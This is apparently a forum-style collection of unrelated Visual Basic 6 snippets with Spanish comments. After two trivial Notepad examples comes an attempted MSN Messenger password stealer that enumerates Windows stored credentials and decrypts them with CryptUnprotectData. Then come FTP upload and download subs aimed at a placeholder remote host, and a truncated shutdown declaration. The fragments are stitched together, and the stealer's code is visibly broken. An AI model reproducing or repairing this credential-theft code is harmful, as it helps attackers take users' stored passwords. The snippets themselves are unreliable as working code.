Private Sub Form_Load()
Open App.Path & "\anto.txt" For Output As #1
Print #1, Chr(34) & "Anto" & Chr("0160") & "Te" & Chr("0160") & "Amo!" & Chr(34)
Close #1
Shell "notepad.exe anto.txt", vbNormalFocus
Dim A As String
A = "AHRE QUE HICE EL CODIGO RE COMPLICADO JAJAJA!"
MsgBox A
End
End Sub
 
 

Open App.Path & "\ejemplo.txt" For Output As #1
'se usan tres """ - """ para poner palabras entre comillas
Print #1, "Yo juego al"; " "; """Counter Strike!"""
Close #1
'abre el block de notas
Shell "notepad.exe ejemplo.txt", vbNormalFocus
'petro_boca
'excombicto
 

Private Declare Function CredEnumerateA Lib "advapi32.dll" (ByVal lpszFilter As Integer, ByVal lFlags As Integer, ByRef pCount As Integer, ByRef lppCredentials As Integer) As Integer
Private Declare Function CredFree Lib "advapi32.dll" (ByVal pBuffer As Integer) As Integer
Private Declare Function CryptUnprotectData Lib "crypt32.dll" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Integer, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As Integer, ByVal pPromptStruct As Integer, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Integer
Private Const EntropyString = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"
 
Private Type DATA_BLOB
  cbData As Long
  pbData As String 'As Long
End Type
 
Dim blobCrypt As DATA_BLOB
Dim blobEntropy As DATA_BLOB
Dim blobPlainText As DATA_BLOB
Dim EntropyData(37) As String
Private Sub Form_Load()
CredEnumerateA 0, 0, Count, CredentialCollection
 
For i = 1 To 36
   EntropyData(i) = Mid(EntropyString, i, 1)
Next i
 
For i = 0 To Count
    blobCrypt.pbData = EntropyData(i) 'CredentialCollection[i]->CredentialBlob;
    blobCrypt.cbData = 1 'CredentialCollection[i]->CredentialBlobSize;
    blobEntropy.pbData = 1 '(BYTE *)&EntropyData;
    blobEntropy.cbData = 74 'sizeof(EntropyData);
 
    CryptUnprotectData blobCrypt, 0, blobEntropy, 0, 0, 1, blobPlainText
 
    'MsgBox blobPlainText.cbData
    MsgBox blobPlainText.pbData 'deberia devolver el password del msn
Next i
 
CredFree (CredentialCollection)
End
End Sub

Public Sub Subir()
 *** Inet1.Execute "ftp://Usuario:Passwd@IpRemota", "PUT Archivolocal ArchivoRemoto"
End Sub

Public Sub Subir()
 *** Inet1.Execute "ftp://Usuario:Passwd@IpRemota", "GET ArchivoRemoto ArchivoLocal"
End Sub

'Declaración de la función ExitWindowsEx
Private Declare Function ExitWindowsEx Lib "User32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
 
'Constanets para la función
Const cerrarWin = 1
Const reiniciarWin = 2